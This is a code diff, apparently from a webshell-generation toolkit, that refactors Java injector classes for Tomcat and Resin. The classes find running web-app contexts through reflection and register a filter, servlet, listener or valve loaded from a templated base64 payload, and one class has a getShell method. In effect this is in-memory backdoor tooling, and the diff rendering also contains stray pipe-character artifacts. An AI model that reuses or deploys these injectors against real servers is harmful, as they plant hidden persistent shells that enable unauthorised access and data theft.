import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Arrays;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -37,7 +38,7 @@ public class ResinListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -181,25 +182,30 @@ public class ResinListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,9 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +40,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -185,25 +183,30 @@ public class ResinServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -43,7 +42,7 @@ public class TomcatFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -61,6 +60,22 @@ public class TomcatFilterInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -102,23 +117,6 @@ public class TomcatFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
@@ -151,18 +149,15 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
Class<?> filterMapClass;
|
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
filterMap = filterMapClass.newInstance();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -180,17 +175,11 @@ public class TomcatFilterInjector {
|
|||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
|
||||||
// addFilterMapFirst
|
|
||||||
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
|
||||||
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
|
||||||
results[0] = filterMap;
|
|
||||||
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
|
||||||
try {
|
try {
|
||||||
// Tomcat5
|
// v7.0.0 以上
|
||||||
setFieldValue(context, "filterMaps", results);
|
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
@@ -262,34 +251,20 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
for (Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
clazz != Object.class;
|
while (clazz != Object.class) {
|
||||||
clazz = clazz.getSuperclass()) {
|
|
||||||
try {
|
try {
|
||||||
return clazz.getDeclaredField(name);
|
Field field = clazz.getDeclaredField(name);
|
||||||
} catch (NoSuchFieldException ignored) {
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
Field field = getField(obj, name);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
|
||||||
Field field = getField(obj, fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
field.set(obj, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,6 +53,23 @@ public class TomcatListenerInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -90,24 +107,7 @@ public class TomcatListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -226,25 +226,30 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -8,9 +8,7 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -23,14 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
@@ -41,7 +31,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -59,11 +49,36 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||||
this.rawValve = rawValve;
|
this.rawValve = rawValve;
|
||||||
this.proxyValve = proxyValve;
|
this.proxyValve = proxyValve;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
if ("invoke".equals(method.getName())) {
|
if ("invoke".equals(method.getName())) {
|
||||||
@@ -118,23 +133,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -8,9 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,7 +42,7 @@ public class TomcatServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -62,6 +60,23 @@ public class TomcatServletInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -99,23 +114,6 @@ public class TomcatServletInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -55,6 +55,23 @@ public class TomcatUpgradeInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -96,23 +113,6 @@ public class TomcatUpgradeInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,6 +53,23 @@ public class TomcatValveInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
